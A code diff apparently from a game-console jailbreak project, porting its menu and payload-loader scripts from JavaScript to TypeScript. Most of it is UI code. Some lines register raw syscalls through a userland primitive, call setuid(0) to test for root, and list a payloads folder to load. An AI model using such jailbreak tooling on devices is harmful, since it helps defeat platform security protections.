log('Exploit completed successfully after ' + total_wait + ' seconds')
|
log('Exploit completed successfully after ' + total_wait + ' seconds')
|
||||||
} else {
|
} else {
|
||||||
utils.notify('Already Jailbroken!')
|
utils.notify('Already Jailbroken!')
|
||||||
@@ -203,10 +183,10 @@ try {
|
|||||||
log('Starting AIO FIX...')
|
log('Starting AIO FIX...')
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
log('ERROR: Failed to initialize binloader')
|
log('ERROR: Failed to initialize binloader')
|
||||||
log('Error message: ' + e.message)
|
log('Error message: ' + (e as Error).message)
|
||||||
log('Error name: ' + e.name)
|
log('Error name: ' + (e as Error).name)
|
||||||
if (e.stack) {
|
if ((e as Error).stack) {
|
||||||
log('Stack trace: ' + e.stack)
|
log('Stack trace: ' + (e as Error).stack)
|
||||||
}
|
}
|
||||||
throw e
|
throw e
|
||||||
}
|
}
|
||||||
@@ -1,292 +0,0 @@
|
|||||||
(function () {
|
|
||||||
include('languages.js')
|
|
||||||
log(lang.loadingMainMenu)
|
|
||||||
|
|
||||||
var currentButton = 0
|
|
||||||
var buttons = []
|
|
||||||
var buttonTexts = []
|
|
||||||
var buttonMarkers = []
|
|
||||||
var buttonOrigPos = []
|
|
||||||
var textOrigPos = []
|
|
||||||
|
|
||||||
var normalButtonImg = 'file:///assets/img/button_over_9.png'
|
|
||||||
var selectedButtonImg = 'file:///assets/img/button_over_9.png'
|
|
||||||
|
|
||||||
jsmaf.root.children.length = 0
|
|
||||||
|
|
||||||
new Style({name: 'white', color: 'white', size: 24})
|
|
||||||
new Style({name: 'title', color: 'white', size: 32})
|
|
||||||
|
|
||||||
var audio = new jsmaf.AudioClip()
|
|
||||||
audio.volume = 0.5 // 50% volume
|
|
||||||
audio.open('file://../download0/sfx/bgm.wav')
|
|
||||||
|
|
||||||
var background = new Image({
|
|
||||||
url: 'file:///../download0/img/multiview_bg_VAF.png',
|
|
||||||
x: 0,
|
|
||||||
y: 0,
|
|
||||||
width: 1920,
|
|
||||||
height: 1080
|
|
||||||
})
|
|
||||||
jsmaf.root.children.push(background)
|
|
||||||
|
|
||||||
var centerX = 960
|
|
||||||
var logoWidth = 600
|
|
||||||
var logoHeight = 338
|
|
||||||
|
|
||||||
var logo = new Image({
|
|
||||||
url: 'file:///../download0/img/logo.png',
|
|
||||||
x: centerX - logoWidth / 2,
|
|
||||||
y: 50,
|
|
||||||
width: logoWidth,
|
|
||||||
height: logoHeight
|
|
||||||
})
|
|
||||||
jsmaf.root.children.push(logo)
|
|
||||||
|
|
||||||
var menuOptions = [
|
|
||||||
{ label: lang.jailbreak, script: 'loader.js', textImg: 'jailbreak_btn_txt.png' },
|
|
||||||
{ label: lang.payloadMenu, script: 'payload_host.js', textImg: 'pl_menu_btn_txt.png' },
|
|
||||||
{ label: lang.config, script: 'config_ui.js', textImg: 'config_btn_txt.png' }
|
|
||||||
]
|
|
||||||
|
|
||||||
var startY = 450
|
|
||||||
var buttonSpacing = 120
|
|
||||||
var buttonWidth = 400
|
|
||||||
var buttonHeight = 80
|
|
||||||
|
|
||||||
for (var i = 0; i < menuOptions.length; i++) {
|
|
||||||
var btnX = centerX - buttonWidth / 2
|
|
||||||
var btnY = startY + i * buttonSpacing
|
|
||||||
|
|
||||||
var button = new Image({
|
|
||||||
url: normalButtonImg,
|
|
||||||
x: btnX,
|
|
||||||
y: btnY,
|
|
||||||
width: buttonWidth,
|
|
||||||
height: buttonHeight
|
|
||||||
})
|
|
||||||
buttons.push(button)
|
|
||||||
jsmaf.root.children.push(button)
|
|
||||||
|
|
||||||
var marker = new Image({
|
|
||||||
url: 'file:///assets/img/ad_pod_marker.png',
|
|
||||||
x: btnX + buttonWidth - 50,
|
|
||||||
y: btnY + 35,
|
|
||||||
width: 12,
|
|
||||||
height: 12,
|
|
||||||
visible: false
|
|
||||||
})
|
|
||||||
buttonMarkers.push(marker)
|
|
||||||
jsmaf.root.children.push(marker)
|
|
||||||
|
|
||||||
var btnText = new jsmaf.Text()
|
|
||||||
btnText.text = menuOptions[i].label
|
|
||||||
btnText.x = btnX + buttonWidth / 2 - 60
|
|
||||||
btnText.y = btnY + buttonHeight / 2 - 12
|
|
||||||
btnText.style = 'white'
|
|
||||||
buttonTexts.push(btnText)
|
|
||||||
jsmaf.root.children.push(btnText)
|
|
||||||
|
|
||||||
buttonOrigPos.push({x: btnX, y: btnY})
|
|
||||||
textOrigPos.push({x: btnText.x, y: btnText.y})
|
|
||||||
}
|
|
||||||
|
|
||||||
var exitX = centerX - buttonWidth / 2
|
|
||||||
var exitY = startY + menuOptions.length * buttonSpacing + 100
|
|
||||||
|
|
||||||
var exitButton = new Image({
|
|
||||||
url: normalButtonImg,
|
|
||||||
x: exitX,
|
|
||||||
y: exitY,
|
|
||||||
width: buttonWidth,
|
|
||||||
height: buttonHeight
|
|
||||||
})
|
|
||||||
buttons.push(exitButton)
|
|
||||||
jsmaf.root.children.push(exitButton)
|
|
||||||
|
|
||||||
var exitMarker = new Image({
|
|
||||||
url: 'file:///assets/img/ad_pod_marker.png',
|
|
||||||
x: exitX + buttonWidth - 50,
|
|
||||||
y: exitY + 35,
|
|
||||||
width: 12,
|
|
||||||
height: 12,
|
|
||||||
visible: false
|
|
||||||
})
|
|
||||||
buttonMarkers.push(exitMarker)
|
|
||||||
jsmaf.root.children.push(exitMarker)
|
|
||||||
|
|
||||||
var exitText = new jsmaf.Text()
|
|
||||||
exitText.text = lang.exit
|
|
||||||
exitText.x = exitX + buttonWidth / 2 - 20
|
|
||||||
exitText.y = exitY + buttonHeight / 2 - 12
|
|
||||||
exitText.style = 'white'
|
|
||||||
buttonTexts.push(exitText)
|
|
||||||
jsmaf.root.children.push(exitText)
|
|
||||||
|
|
||||||
buttonOrigPos.push({x: exitX, y: exitY})
|
|
||||||
textOrigPos.push({x: exitText.x, y: exitText.y})
|
|
||||||
|
|
||||||
var zoomInInterval = null
|
|
||||||
var zoomOutInterval = null
|
|
||||||
var prevButton = -1
|
|
||||||
|
|
||||||
function easeInOut (t) {
|
|
||||||
return (1 - Math.cos(t * Math.PI)) / 2
|
|
||||||
}
|
|
||||||
|
|
||||||
function animateZoomIn (btn, text, btnOrigX, btnOrigY, textOrigX, textOrigY) {
|
|
||||||
if (zoomInInterval) jsmaf.clearInterval(zoomInInterval)
|
|
||||||
var btnW = buttonWidth
|
|
||||||
var btnH = buttonHeight
|
|
||||||
var startScale = btn.scaleX || 1.0
|
|
||||||
var endScale = 1.1
|
|
||||||
var duration = 175
|
|
||||||
var elapsed = 0
|
|
||||||
var step = 16
|
|
||||||
|
|
||||||
zoomInInterval = jsmaf.setInterval(function () {
|
|
||||||
elapsed += step
|
|
||||||
var t = Math.min(elapsed / duration, 1)
|
|
||||||
var eased = easeInOut(t)
|
|
||||||
var scale = startScale + (endScale - startScale) * eased
|
|
||||||
|
|
||||||
btn.scaleX = scale
|
|
||||||
btn.scaleY = scale
|
|
||||||
btn.x = btnOrigX - (btnW * (scale - 1)) / 2
|
|
||||||
btn.y = btnOrigY - (btnH * (scale - 1)) / 2
|
|
||||||
text.scaleX = scale
|
|
||||||
text.scaleY = scale
|
|
||||||
text.x = textOrigX - (btnW * (scale - 1)) / 2
|
|
||||||
text.y = textOrigY - (btnH * (scale - 1)) / 2
|
|
||||||
|
|
||||||
if (t >= 1) {
|
|
||||||
jsmaf.clearInterval(zoomInInterval)
|
|
||||||
zoomInInterval = null
|
|
||||||
}
|
|
||||||
}, step)
|
|
||||||
}
|
|
||||||
|
|
||||||
function animateZoomOut (btn, text, btnOrigX, btnOrigY, textOrigX, textOrigY) {
|
|
||||||
if (zoomOutInterval) jsmaf.clearInterval(zoomOutInterval)
|
|
||||||
var btnW = buttonWidth
|
|
||||||
var btnH = buttonHeight
|
|
||||||
var startScale = btn.scaleX || 1.1
|
|
||||||
var endScale = 1.0
|
|
||||||
var duration = 175
|
|
||||||
var elapsed = 0
|
|
||||||
var step = 16
|
|
||||||
|
|
||||||
zoomOutInterval = jsmaf.setInterval(function () {
|
|
||||||
elapsed += step
|
|
||||||
var t = Math.min(elapsed / duration, 1)
|
|
||||||
var eased = easeInOut(t)
|
|
||||||
var scale = startScale + (endScale - startScale) * eased
|
|
||||||
|
|
||||||
btn.scaleX = scale
|
|
||||||
btn.scaleY = scale
|
|
||||||
btn.x = btnOrigX - (btnW * (scale - 1)) / 2
|
|
||||||
btn.y = btnOrigY - (btnH * (scale - 1)) / 2
|
|
||||||
text.scaleX = scale
|
|
||||||
text.scaleY = scale
|
|
||||||
text.x = textOrigX - (btnW * (scale - 1)) / 2
|
|
||||||
text.y = textOrigY - (btnH * (scale - 1)) / 2
|
|
||||||
|
|
||||||
if (t >= 1) {
|
|
||||||
jsmaf.clearInterval(zoomOutInterval)
|
|
||||||
zoomOutInterval = null
|
|
||||||
}
|
|
||||||
}, step)
|
|
||||||
}
|
|
||||||
|
|
||||||
function updateHighlight () {
|
|
||||||
// Animate out the previous button
|
|
||||||
if (prevButton >= 0 && prevButton !== currentButton) {
|
|
||||||
buttons[prevButton].url = normalButtonImg
|
|
||||||
buttons[prevButton].alpha = 0.7
|
|
||||||
buttons[prevButton].borderColor = 'transparent'
|
|
||||||
buttons[prevButton].borderWidth = 0
|
|
||||||
buttonMarkers[prevButton].visible = false
|
|
||||||
animateZoomOut(buttons[prevButton], buttonTexts[prevButton], buttonOrigPos[prevButton].x, buttonOrigPos[prevButton].y, textOrigPos[prevButton].x, textOrigPos[prevButton].y)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Set styles for all buttons
|
|
||||||
for (var i = 0; i < buttons.length; i++) {
|
|
||||||
if (i === currentButton) {
|
|
||||||
buttons[i].url = selectedButtonImg
|
|
||||||
buttons[i].alpha = 1.0
|
|
||||||
buttons[i].borderColor = 'rgb(100,180,255)'
|
|
||||||
buttons[i].borderWidth = 3
|
|
||||||
buttonMarkers[i].visible = true
|
|
||||||
animateZoomIn(buttons[i], buttonTexts[i], buttonOrigPos[i].x, buttonOrigPos[i].y, textOrigPos[i].x, textOrigPos[i].y)
|
|
||||||
} else if (i !== prevButton) {
|
|
||||||
buttons[i].url = normalButtonImg
|
|
||||||
buttons[i].alpha = 0.7
|
|
||||||
buttons[i].borderColor = 'transparent'
|
|
||||||
buttons[i].borderWidth = 0
|
|
||||||
buttons[i].scaleX = 1.0
|
|
||||||
buttons[i].scaleY = 1.0
|
|
||||||
buttons[i].x = buttonOrigPos[i].x
|
|
||||||
buttons[i].y = buttonOrigPos[i].y
|
|
||||||
buttonTexts[i].scaleX = 1.0
|
|
||||||
buttonTexts[i].scaleY = 1.0
|
|
||||||
buttonTexts[i].x = textOrigPos[i].x
|
|
||||||
buttonTexts[i].y = textOrigPos[i].y
|
|
||||||
buttonMarkers[i].visible = false
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
prevButton = currentButton
|
|
||||||
}
|
|
||||||
|
|
||||||
function handleButtonPress () {
|
|
||||||
if (currentButton === buttons.length - 1) {
|
|
||||||
log('Exiting application...')
|
|
||||||
try {
|
|
||||||
if (typeof libc_addr === 'undefined') {
|
|
||||||
log('Loading userland.js...')
|
|
||||||
include('userland.js')
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!fn.getpid) fn.register(0x14, 'getpid', 'bigint')
|
|
||||||
if (!fn.kill) fn.register(0x25, 'kill', 'bigint')
|
|
||||||
|
|
||||||
var pid = fn.getpid()
|
|
||||||
var pid_num = (pid instanceof BigInt) ? pid.lo : pid
|
|
||||||
log('Current PID: ' + pid_num)
|
|
||||||
log('Sending SIGKILL to PID ' + pid_num)
|
|
||||||
|
|
||||||
fn.kill(pid, new BigInt(0, 9))
|
|
||||||
} catch (e) {
|
|
||||||
log('ERROR during exit: ' + e.message)
|
|
||||||
if (e.stack) log(e.stack)
|
|
||||||
}
|
|
||||||
|
|
||||||
jsmaf.exit()
|
|
||||||
} else if (currentButton < menuOptions.length) {
|
|
||||||
var selectedOption = menuOptions[currentButton]
|
|
||||||
log('Loading ' + selectedOption.script + '...')
|
|
||||||
try {
|
|
||||||
include(selectedOption.script)
|
|
||||||
} catch (e) {
|
|
||||||
log('ERROR loading ' + selectedOption.script + ': ' + e.message)
|
|
||||||
if (e.stack) log(e.stack)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
jsmaf.onKeyDown = function (keyCode) {
|
|
||||||
if (keyCode === 6 || keyCode === 5) {
|
|
||||||
currentButton = (currentButton + 1) % buttons.length
|
|
||||||
updateHighlight()
|
|
||||||
} else if (keyCode === 4 || keyCode === 7) {
|
|
||||||
currentButton = (currentButton - 1 + buttons.length) % buttons.length
|
|
||||||
updateHighlight()
|
|
||||||
} else if (keyCode === 14) {
|
|
||||||
handleButtonPress()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
updateHighlight()
|
|
||||||
|
|
||||||
log(lang.mainMenuLoaded)
|
|
||||||
})()
|
|
||||||
@@ -0,0 +1,305 @@
|
|||||||
|
import { lang } from 'download0/languages'
|
||||||
|
import { libc_addr } from 'download0/userland'
|
||||||
|
import { fn, BigInt } from 'download0/types'
|
||||||
|
|
||||||
|
(function () {
|
||||||
|
include('languages.js')
|
||||||
|
log(lang.loadingMainMenu)
|
||||||
|
|
||||||
|
let currentButton = 0
|
||||||
|
const buttons: Image[] = []
|
||||||
|
const buttonTexts: jsmaf.Text[] = []
|
||||||
|
const buttonMarkers: Image[] = []
|
||||||
|
const buttonOrigPos: { x: number, y: number }[] = []
|
||||||
|
const textOrigPos: { x: number, y: number }[] = []
|
||||||
|
|
||||||
|
const normalButtonImg = 'file:///assets/img/button_over_9.png'
|
||||||
|
const selectedButtonImg = 'file:///assets/img/button_over_9.png'
|
||||||
|
|
||||||
|
jsmaf.root.children.length = 0
|
||||||
|
|
||||||
|
new Style({ name: 'white', color: 'white', size: 24 })
|
||||||
|
new Style({ name: 'title', color: 'white', size: 32 })
|
||||||
|
|
||||||
|
const audio = new jsmaf.AudioClip()
|
||||||
|
audio.volume = 0.5 // 50% volume
|
||||||
|
audio.open('file://../download0/sfx/bgm.wav')
|
||||||
|
|
||||||
|
const background = new Image({
|
||||||
|
url: 'file:///../download0/img/multiview_bg_VAF.png',
|
||||||
|
x: 0,
|
||||||
|
y: 0,
|
||||||
|
width: 1920,
|
||||||
|
height: 1080
|
||||||
|
})
|
||||||
|
jsmaf.root.children.push(background)
|
||||||
|
|
||||||
|
const centerX = 960
|
||||||
|
const logoWidth = 600
|
||||||
|
const logoHeight = 338
|
||||||
|
|
||||||
|
const logo = new Image({
|
||||||
|
url: 'file:///../download0/img/logo.png',
|
||||||
|
x: centerX - logoWidth / 2,
|
||||||
|
y: 50,
|
||||||
|
width: logoWidth,
|
||||||
|
height: logoHeight
|
||||||
|
})
|
||||||
|
jsmaf.root.children.push(logo)
|
||||||
|
|
||||||
|
const menuOptions = [
|
||||||
|
{ label: lang.jailbreak, script: 'loader.js', textImg: 'jailbreak_btn_txt.png' },
|
||||||
|
{ label: lang.payloadMenu, script: 'payload_host.js', textImg: 'pl_menu_btn_txt.png' },
|
||||||
|
{ label: lang.config, script: 'config_ui.js', textImg: 'config_btn_txt.png' }
|
||||||
|
]
|
||||||
|
|
||||||
|
const startY = 450
|
||||||
|
const buttonSpacing = 120
|
||||||
|
const buttonWidth = 400
|
||||||
|
const buttonHeight = 80
|
||||||
|
|
||||||
|
for (let i = 0; i < menuOptions.length; i++) {
|
||||||
|
const btnX = centerX - buttonWidth / 2
|
||||||
|
const btnY = startY + i * buttonSpacing
|
||||||
|
|
||||||
|
const button = new Image({
|
||||||
|
url: normalButtonImg,
|
||||||
|
x: btnX,
|
||||||
|
y: btnY,
|
||||||
|
width: buttonWidth,
|
||||||
|
height: buttonHeight
|
||||||
|
})
|
||||||
|
buttons.push(button)
|
||||||
|
jsmaf.root.children.push(button)
|
||||||
|
|
||||||
|
const marker = new Image({
|
||||||
|
url: 'file:///assets/img/ad_pod_marker.png',
|
||||||
|
x: btnX + buttonWidth - 50,
|
||||||
|
y: btnY + 35,
|
||||||
|
width: 12,
|
||||||
|
height: 12,
|
||||||
|
visible: false
|
||||||
|
})
|
||||||
|
buttonMarkers.push(marker)
|
||||||
|
jsmaf.root.children.push(marker)
|
||||||
|
|
||||||
|
const btnText = new jsmaf.Text()
|
||||||
|
btnText.text = menuOptions[i]!.label
|
||||||
|
btnText.x = btnX + buttonWidth / 2 - 60
|
||||||
|
btnText.y = btnY + buttonHeight / 2 - 12
|
||||||
|
btnText.style = 'white'
|
||||||
|
buttonTexts.push(btnText)
|
||||||
|
jsmaf.root.children.push(btnText)
|
||||||
|
|
||||||
|
buttonOrigPos.push({ x: btnX, y: btnY })
|
||||||
|
textOrigPos.push({ x: btnText.x, y: btnText.y })
|
||||||
|
}
|
||||||
|
|
||||||
|
const exitX = centerX - buttonWidth / 2
|
||||||
|
const exitY = startY + menuOptions.length * buttonSpacing + 100
|
||||||
|
|
||||||
|
const exitButton = new Image({
|
||||||
|
url: normalButtonImg,
|
||||||
|
x: exitX,
|
||||||
|
y: exitY,
|
||||||
|
width: buttonWidth,
|
||||||
|
height: buttonHeight
|
||||||
|
})
|
||||||
|
buttons.push(exitButton)
|
||||||
|
jsmaf.root.children.push(exitButton)
|
||||||
|
|
||||||
|
const exitMarker = new Image({
|
||||||
|
url: 'file:///assets/img/ad_pod_marker.png',
|
||||||
|
x: exitX + buttonWidth - 50,
|
||||||
|
y: exitY + 35,
|
||||||
|
width: 12,
|
||||||
|
height: 12,
|
||||||
|
visible: false
|
||||||
|
})
|
||||||
|
buttonMarkers.push(exitMarker)
|
||||||
|
jsmaf.root.children.push(exitMarker)
|
||||||
|
|
||||||
|
const exitText = new jsmaf.Text()
|
||||||
|
exitText.text = lang.exit
|
||||||
|
exitText.x = exitX + buttonWidth / 2 - 20
|
||||||
|
exitText.y = exitY + buttonHeight / 2 - 12
|
||||||
|
exitText.style = 'white'
|
||||||
|
buttonTexts.push(exitText)
|
||||||
|
jsmaf.root.children.push(exitText)
|
||||||
|
|
||||||
|
buttonOrigPos.push({ x: exitX, y: exitY })
|
||||||
|
textOrigPos.push({ x: exitText.x, y: exitText.y })
|
||||||
|
|
||||||
|
let zoomInInterval: number | null = null
|
||||||
|
let zoomOutInterval: number | null = null
|
||||||
|
let prevButton = -1
|
||||||
|
|
||||||
|
function easeInOut (t: number) {
|
||||||
|
return (1 - Math.cos(t * Math.PI)) / 2
|
||||||
|
}
|
||||||
|
|
||||||
|
function animateZoomIn (btn: Image, text: jsmaf.Text, btnOrigX: number, btnOrigY: number, textOrigX: number, textOrigY: number) {
|
||||||
|
if (zoomInInterval) jsmaf.clearInterval(zoomInInterval)
|
||||||
|
const btnW = buttonWidth
|
||||||
|
const btnH = buttonHeight
|
||||||
|
const startScale = btn.scaleX || 1.0
|
||||||
|
const endScale = 1.1
|
||||||
|
const duration = 175
|
||||||
|
let elapsed = 0
|
||||||
|
const step = 16
|
||||||
|
|
||||||
|
zoomInInterval = jsmaf.setInterval(function () {
|
||||||
|
elapsed += step
|
||||||
|
const t = Math.min(elapsed / duration, 1)
|
||||||
|
const eased = easeInOut(t)
|
||||||
|
const scale = startScale + (endScale - startScale) * eased
|
||||||
|
|
||||||
|
btn.scaleX = scale
|
||||||
|
btn.scaleY = scale
|
||||||
|
btn.x = btnOrigX - (btnW * (scale - 1)) / 2
|
||||||
|
btn.y = btnOrigY - (btnH * (scale - 1)) / 2
|
||||||
|
text.scaleX = scale
|
||||||
|
text.scaleY = scale
|
||||||
|
text.x = textOrigX - (btnW * (scale - 1)) / 2
|
||||||
|
text.y = textOrigY - (btnH * (scale - 1)) / 2
|
||||||
|
|
||||||
|
if (t >= 1 && zoomInInterval) {
|
||||||
|
jsmaf.clearInterval(zoomInInterval)
|
||||||
|
zoomInInterval = null
|
||||||
|
}
|
||||||
|
}, step)
|
||||||
|
}
|
||||||
|
|
||||||
|
function animateZoomOut (btn: Image, text: jsmaf.Text, btnOrigX: number, btnOrigY: number, textOrigX: number, textOrigY: number) {
|
||||||
|
if (zoomOutInterval) jsmaf.clearInterval(zoomOutInterval)
|
||||||
|
const btnW = buttonWidth
|
||||||
|
const btnH = buttonHeight
|
||||||
|
const startScale = btn.scaleX || 1.1
|
||||||
|
const endScale = 1.0
|
||||||
|
const duration = 175
|
||||||
|
let elapsed = 0
|
||||||
|
const step = 16
|
||||||
|
|
||||||
|
zoomOutInterval = jsmaf.setInterval(function () {
|
||||||
|
elapsed += step
|
||||||
|
const t = Math.min(elapsed / duration, 1)
|
||||||
|
const eased = easeInOut(t)
|
||||||
|
const scale = startScale + (endScale - startScale) * eased
|
||||||
|
|
||||||
|
btn.scaleX = scale
|
||||||
|
btn.scaleY = scale
|
||||||
|
btn.x = btnOrigX - (btnW * (scale - 1)) / 2
|
||||||
|
btn.y = btnOrigY - (btnH * (scale - 1)) / 2
|
||||||
|
text.scaleX = scale
|
||||||
|
text.scaleY = scale
|
||||||
|
text.x = textOrigX - (btnW * (scale - 1)) / 2
|
||||||
|
text.y = textOrigY - (btnH * (scale - 1)) / 2
|
||||||
|
|
||||||
|
if (t >= 1 && zoomOutInterval) {
|
||||||
|
jsmaf.clearInterval(zoomOutInterval)
|
||||||
|
zoomOutInterval = null
|
||||||
|
}
|
||||||
|
}, step)
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateHighlight () {
|
||||||
|
// Animate out the previous button
|
||||||
|
const prevButtonObj = buttons[prevButton]
|
||||||
|
const buttonMarker = buttonMarkers[prevButton]
|
||||||
|
if (prevButton >= 0 && prevButton !== currentButton && prevButtonObj && buttonMarker) {
|
||||||
|
prevButtonObj.url = normalButtonImg
|
||||||
|
prevButtonObj.alpha = 0.7
|
||||||
|
prevButtonObj.borderColor = 'transparent'
|
||||||
|
prevButtonObj.borderWidth = 0
|
||||||
|
buttonMarker.visible = false
|
||||||
|
animateZoomOut(prevButtonObj, buttonTexts[prevButton]!, buttonOrigPos[prevButton]!.x, buttonOrigPos[prevButton]!.y, textOrigPos[prevButton]!.x, textOrigPos[prevButton]!.y)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set styles for all buttons
|
||||||
|
for (let i = 0; i < buttons.length; i++) {
|
||||||
|
const button = buttons[i]
|
||||||
|
const buttonMarker = buttonMarkers[i]
|
||||||
|
const buttonText = buttonTexts[i]
|
||||||
|
const buttonOrigPos_ = buttonOrigPos[i]
|
||||||
|
const textOrigPos_ = textOrigPos[i]
|
||||||
|
if (button === undefined || buttonText === undefined || buttonOrigPos_ === undefined || textOrigPos_ === undefined || buttonMarker === undefined) continue
|
||||||
|
if (i === currentButton) {
|
||||||
|
button.url = selectedButtonImg
|
||||||
|
button.alpha = 1.0
|
||||||
|
button.borderColor = 'rgb(100,180,255)'
|
||||||
|
button.borderWidth = 3
|
||||||
|
buttonMarker.visible = true
|
||||||
|
animateZoomIn(button, buttonText, buttonOrigPos_.x, buttonOrigPos_.y, textOrigPos_.x, textOrigPos_.y)
|
||||||
|
} else if (i !== prevButton) {
|
||||||
|
button.url = normalButtonImg
|
||||||
|
button.alpha = 0.7
|
||||||
|
button.borderColor = 'transparent'
|
||||||
|
button.borderWidth = 0
|
||||||
|
button.scaleX = 1.0
|
||||||
|
button.scaleY = 1.0
|
||||||
|
button.x = buttonOrigPos_.x
|
||||||
|
button.y = buttonOrigPos_.y
|
||||||
|
buttonText.scaleX = 1.0
|
||||||
|
buttonText.scaleY = 1.0
|
||||||
|
buttonText.x = textOrigPos_.x
|
||||||
|
buttonText.y = textOrigPos_.y
|
||||||
|
buttonMarker.visible = false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
prevButton = currentButton
|
||||||
|
}
|
||||||
|
|
||||||
|
function handleButtonPress () {
|
||||||
|
if (currentButton === buttons.length - 1) {
|
||||||
|
log('Exiting application...')
|
||||||
|
try {
|
||||||
|
if (typeof libc_addr === 'undefined') {
|
||||||
|
log('Loading userland.js...')
|
||||||
|
include('userland.js')
|
||||||
|
}
|
||||||
|
|
||||||
|
fn.register(0x14, 'getpid', [], 'bigint')
|
||||||
|
fn.register(0x25, 'kill', ['bigint', 'bigint'], 'bigint')
|
||||||
|
|
||||||
|
const pid = fn.getpid()
|
||||||
|
const pid_num = (pid instanceof BigInt) ? pid.lo : pid
|
||||||
|
log('Current PID: ' + pid_num)
|
||||||
|
log('Sending SIGKILL to PID ' + pid_num)
|
||||||
|
|
||||||
|
fn.kill(pid, new BigInt(0, 9))
|
||||||
|
} catch (e) {
|
||||||
|
log('ERROR during exit: ' + (e as Error).message)
|
||||||
|
if ((e as Error).stack) log((e as Error).stack!)
|
||||||
|
}
|
||||||
|
|
||||||
|
jsmaf.exit()
|
||||||
|
} else if (currentButton < menuOptions.length) {
|
||||||
|
const selectedOption = menuOptions[currentButton]
|
||||||
|
if (!selectedOption) return
|
||||||
|
log('Loading ' + selectedOption.script + '...')
|
||||||
|
try {
|
||||||
|
include(selectedOption.script)
|
||||||
|
} catch (e) {
|
||||||
|
log('ERROR loading ' + selectedOption.script + ': ' + (e as Error).message)
|
||||||
|
if ((e as Error).stack) log((e as Error).stack!)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
jsmaf.onKeyDown = function (keyCode) {
|
||||||
|
if (keyCode === 6 || keyCode === 5) {
|
||||||
|
currentButton = (currentButton + 1) % buttons.length
|
||||||
|
updateHighlight()
|
||||||
|
} else if (keyCode === 4 || keyCode === 7) {
|
||||||
|
currentButton = (currentButton - 1 + buttons.length) % buttons.length
|
||||||
|
updateHighlight()
|
||||||
|
} else if (keyCode === 14) {
|
||||||
|
handleButtonPress()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
updateHighlight()
|
||||||
|
|
||||||
|
log(lang.mainMenuLoaded)
|
||||||
|
})()
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -1,471 +0,0 @@
|
|||||||
(function () {
|
|
||||||
if (typeof libc_addr === 'undefined') {
|
|
||||||
log('Loading userland.js...')
|
|
||||||
include('userland.js')
|
|
||||||
log('userland.js loaded')
|
|
||||||
} else {
|
|
||||||
log('userland.js already loaded (libc_addr defined)')
|
|
||||||
}
|
|
||||||
|
|
||||||
var audio = new jsmaf.AudioClip()
|
|
||||||
audio.volume = 0.5 // 50% volume
|
|
||||||
audio.open('file://../download0/sfx/bgm.wav')
|
|
||||||
|
|
||||||
function isJailbroken () {
|
|
||||||
try { fn.register(24, 'getuid', 'bigint') } catch (e) {}
|
|
||||||
try { fn.register(23, 'setuid', 'bigint') } catch (e) {}
|
|
||||||
|
|
||||||
var uid_before = fn.getuid()
|
|
||||||
var uid_before_val = (uid_before instanceof BigInt) ? uid_before.lo : uid_before
|
|
||||||
log('UID before setuid: ' + uid_before_val)
|
|
||||||
|
|
||||||
log('Attempting setuid(0)...')
|
|
||||||
var setuid_success = false
|
|
||||||
var error_msg = null
|
|
||||||
|
|
||||||
try {
|
|
||||||
var setuid_result = fn.setuid(0)
|
|
||||||
var setuid_ret = (setuid_result instanceof BigInt) ? setuid_result.lo : setuid_result
|
|
||||||
log('setuid returned: ' + setuid_ret)
|
|
||||||
setuid_success = (setuid_ret === 0)
|
|
||||||
} catch (e) {
|
|
||||||
error_msg = e.toString()
|
|
||||||
log('setuid threw exception: ' + error_msg)
|
|
||||||
}
|
|
||||||
|
|
||||||
var uid_after = fn.getuid()
|
|
||||||
var uid_after_val = (uid_after instanceof BigInt) ? uid_after.lo : uid_after
|
|
||||||
log('UID after setuid: ' + uid_after_val)
|
|
||||||
|
|
||||||
if (uid_after_val === 0) {
|
|
||||||
log('Already jailbroken')
|
|
||||||
return true
|
|
||||||
} else {
|
|
||||||
log('Not jailbroken')
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
is_jailbroken = isJailbroken()
|
|
||||||
|
|
||||||
jsmaf.root.children.length = 0
|
|
||||||
|
|
||||||
new Style({name: 'white', color: 'white', size: 24})
|
|
||||||
new Style({name: 'title', color: 'white', size: 32})
|
|
||||||
|
|
||||||
var currentButton = 0
|
|
||||||
var buttons = []
|
|
||||||
var buttonTexts = []
|
|
||||||
var buttonMarkers = []
|
|
||||||
var buttonOrigPos = []
|
|
||||||
var textOrigPos = []
|
|
||||||
var fileList = []
|
|
||||||
|
|
||||||
var normalButtonImg = 'file:///assets/img/button_over_9.png'
|
|
||||||
var selectedButtonImg = 'file:///assets/img/button_over_9.png'
|
|
||||||
|
|
||||||
var background = new Image({
|
|
||||||
url: 'file:///../download0/img/multiview_bg_VAF.png',
|
|
||||||
x: 0,
|
|
||||||
y: 0,
|
|
||||||
width: 1920,
|
|
||||||
height: 1080
|
|
||||||
})
|
|
||||||
jsmaf.root.children.push(background)
|
|
||||||
|
|
||||||
var logo = new Image({
|
|
||||||
url: 'file:///../download0/img/logo.png',
|
|
||||||
x: 1620,
|
|
||||||
y: 0,
|
|
||||||
width: 300,
|
|
||||||
height: 169
|
|
||||||
})
|
|
||||||
jsmaf.root.children.push(logo)
|
|
||||||
|
|
||||||
var title = new jsmaf.Text()
|
|
||||||
title.text = 'Payload Menu'
|
|
||||||
title.x = 860
|
|
||||||
title.y = 120
|
|
||||||
title.style = 'title'
|
|
||||||
jsmaf.root.children.push(title)
|
|
||||||
|
|
||||||
if (typeof fn !== 'undefined') {
|
|
||||||
if (!fn.open_sys) fn.register(0x05, 'open_sys', 'bigint')
|
|
||||||
if (!fn.close_sys) fn.register(0x06, 'close_sys', 'bigint')
|
|
||||||
if (!fn.getdents) fn.register(0x110, 'getdents', 'bigint')
|
|
||||||
}
|
|
||||||
|
|
||||||
log('Scanning /download0/payloads for files...')
|
|
||||||
